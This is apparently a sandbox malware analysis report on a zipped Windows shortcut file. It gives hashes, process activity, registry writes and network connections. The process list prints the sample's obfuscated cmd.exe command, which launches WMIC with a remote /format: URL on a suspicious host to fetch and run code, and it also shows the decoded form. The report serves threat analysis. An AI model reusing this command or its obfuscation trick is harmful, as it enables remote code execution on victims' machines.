Malware analysis Doc_documento_PRC2019008850.lnk.zip Malicious activity

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File name:	Doc_documento_PRC2019008850.lnk.zip
Full analysis:	https://app.any.run/tasks/56ad4bd3-be58-483e-91cf-93562e2df962
Verdict:	Malicious activity
Analysis date:	April 25, 2019, 18:11:35
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/zip
File info:	Zip archive data, at least v2.0 to extract
MD5:	C02D776CC8A47FD0F5EC4A7241E5DAC8
SHA1:	6014601C801D7B731EAD888394A4DF1C82AE0679
SHA256:	C5FBE5856E0DC42EC26CD54A0249033F9BE3E80357FA5BAAADD75F629FC7ED87
SSDEEP:	24:8fNZIjKY6vSgErlthKGS4078JL85n+KlvCNg/fM:SvfErlLbS4K8Jgskvmgc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 240 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 180 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Runs app for hidden code execution
  - cmd.exe (PID: 4056)
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - cmd.exe (PID: 4056)
- Creates files in the user directory
  - notepad++.exe (PID: 3460)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.zip	\|	ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion:	788
ZipBitFlag:	0x0001
ZipCompression:	Deflated
ZipModifyDate:	2019:04:25 20:08:06
ZipCRC:	0x1730b459
ZipCompressedSize:	950
ZipUncompressedSize:	3132
ZipFileName:	Doc_documento_PRC2019008850.lnk

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1472

C:\\Windows\\system32\\wbem\\WMIC.exe os get HHKrmcmxi, organization /format:"http://Kczvvjed2.chromiunxjst.site:25050/04/?137025050LSKqcxmvv"

C:\Windows\system32\wbem\WMIC.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

WMI Commandline Utility

Exit code:

44210

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll

2148

C:\Windows\system32\cmd.exe /S /D /c" echo %x:[1323]=%"

C:\Windows\system32\cmd.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2536

"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Doc_documento_PRC2019008850.lnk.zip"

C:\Program Files\WinRAR\WinRAR.exe

—

explorer.exe

User:

admin

Company:

Alexander Roshal

Integrity Level:

MEDIUM

Description:

WinRAR archiver

Exit code:

Version:

5.60.0

Modules

Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll

2768

"C:\Program Files\Notepad++\notepad++.exe" "C:\Windows\System32\cmd.exe"

C:\Program Files\Notepad++\notepad++.exe

explorer.exe

User:

admin

Company:

Don HO don.h@free.fr

Integrity Level:

MEDIUM

Description:

Notepad++ : a free (GNU) source code editor

Exit code:

Version:

7.51

Modules

Images
c:\program files\notepad++\notepad++.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2792

C:\Windows\system32\cmd.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

3460

"C:\Program Files\Notepad++\notepad++.exe" "C:\Windows\System32\cmd.exe"

C:\Program Files\Notepad++\notepad++.exe

explorer.exe

User:

admin

Company:

Don HO don.h@free.fr

Integrity Level:

MEDIUM

Description:

Notepad++ : a free (GNU) source code editor

Exit code:

Version:

7.51

Modules

Images
c:\program files\notepad++\notepad++.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

3484

"C:\Program Files\Notepad++\updater\gup.exe" -v7.51

C:\Program Files\Notepad++\updater\gup.exe

notepad++.exe

User:

admin

Company:

Don HO don.h@free.fr

Integrity Level:

MEDIUM

Description:

GUP : a free (LGPL) Generic Updater

Exit code:

Version:

4.1

Modules

Images
c:\program files\notepad++\updater\gup.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\notepad++\updater\libcurl.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\nsi.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wldap32.dll

4056

"C:\Windows\System32\cmd.exe" /V /C "set x=C[1323]:\\[1323]Wi[1323]nd[1323]ow[1323]s\\s[1323]ys[1323]te[1323]m3[1323]2[1323]\\[1323]wbe[1323]m\\W[1323]M[1323]I[1323]C.e[1323]x[1323]e o[1323]s g[1323]e[1323]t HHK[1323]r[1323]m[1323]c[1323]m[1323]x[1323]i[1323], or[1323]g[1323]an[1323]iz[1323]at[1323]io[1323]n /[1323]form[1323]at:"h[1323]t[1323]t[1323]p[1323]:[1323]/[1323]/Kc[1323]z[1323]v[1323]v[1323]j[1323]e[1323]d[1323]2[1323].c[1323]hr[1323]om[1323]iu[1323]nx[1323]js[1323]t.[1323]sit[1323]e:2[1323]505[1323]0/0[1323]4/?[1323]1[1323]3[1323]7[1323]0[1323]2[1323]5[1323]0[1323]5[1323]0[1323]L[1323]SK[1323]qc[1323]xm[1323]vv[1323]" &&echo %x:[1323]=%|C:\Windows\system32\cmd.exe"

C:\Windows\System32\cmd.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

605

Read events

543

Write events

Delete events

Modification events


(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtBMP
Value:
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtIcon
Value:
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\AppData\Local\Temp\Doc_documento_PRC2019008850.lnk.zip
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface
Operation:	write	Name:	ShowPassword
Value: 0
(PID) Process:	(2536) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\MainWin
Operation:	write	Name:	Placement
Value: 2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF42000000420000000204000037020000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3460	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\config.xml		xml
		MD5:—	SHA256:—
2768	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\session.xml		text
		MD5:—	SHA256:—
2536	WinRAR.exe	C:\Users\admin\AppData\Local\Temp\Rar$DRb2536.42352\Doc_documento_PRC2019008850.lnk		lnk
		MD5:—	SHA256:—
3460	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\stylers.xml		xml
		MD5:44982E1D48434C0AB3E8277E322DD1E4	SHA256:3E661D3F1FF3977B022A0ACC26B840B5E57D600BC03DCFC6BEFDB408C665904C
3460	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\session.xml		text
		MD5:—	SHA256:—
2768	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\config.xml		xml
		MD5:—	SHA256:—
3460	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\shortcuts.xml		text
		MD5:AD21A64014891793DD9B21D835278F36	SHA256:C24699C9D00ABDD510140FE1B2ACE97BFC70D8B21BF3462DED85AFC4F73FE52F
3460	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\langs.xml		xml
		MD5:E792264BEC29005B9044A435FBA185AB	SHA256:5298FD2F119C43D04F6CF831F379EC25B4156192278E40E458EC356F9B49D624
3460	notepad++.exe	C:\Users\admin\AppData\Roaming\Notepad++\plugins\Config\converter.ini		text
		MD5:F70F579156C93B097E656CABA577A5C9	SHA256:B926498A19CA95DC28964B7336E5847107DD3C0F52C85195C135D9DD6CA402D4

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	2.21.242.197:80	http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D	NL	der	1.37 Kb	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3484	gup.exe	37.59.28.236:443	notepad-plus-plus.org	OVH SAS	FR	whitelisted
—	—	2.21.242.197:80	isrg.trustid.ocsp.identrust.com	Akamai International B.V.	NL	whitelisted
1472	WMIC.exe	35.222.129.65:25050	kczvvjed2.chromiunxjst.site	—	US	unknown
1472	WMIC.exe	35.198.7.231:25050	kczvvjed2.chromiunxjst.site	Google Inc.	US	suspicious

DNS requests

Domain	IP	Reputation
notepad-plus-plus.org	37.59.28.236	whitelisted
isrg.trustid.ocsp.identrust.com	2.21.242.197 2.21.242.187	whitelisted
kczvvjed2.chromiunxjst.site	35.222.129.65 35.198.7.231	suspicious
dns.msftncsi.com	131.107.255.255	shared

Threats

No threats detected

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Process	Message
notepad++.exe	VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe	VerifyLibrary: certificate revocation checking is disabled
notepad++.exe	42C4C5846BB675C74E2B2C90C69AB44366401093
notepad++.exe	VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe	VerifyLibrary: certificate revocation checking is disabled
notepad++.exe	42C4C5846BB675C74E2B2C90C69AB44366401093

General Info

Doc_documento_PRC2019008850.lnk.zip

C02D776CC8A47FD0F5EC4A7241E5DAC8

6014601C801D7B731EAD888394A4DF1C82AE0679

C5FBE5856E0DC42EC26CD54A0249033F9BE3E80357FA5BAAADD75F629FC7ED87

24:8fNZIjKY6vSgErlthKGS4078JL85n+KlvCNg/fM:SvfErlLbS4K8Jgskvmgc

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Runs app for hidden code execution

SUSPICIOUS

Starts CMD.EXE for commands execution

Creates files in the user directory

INFO

Malware configuration

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings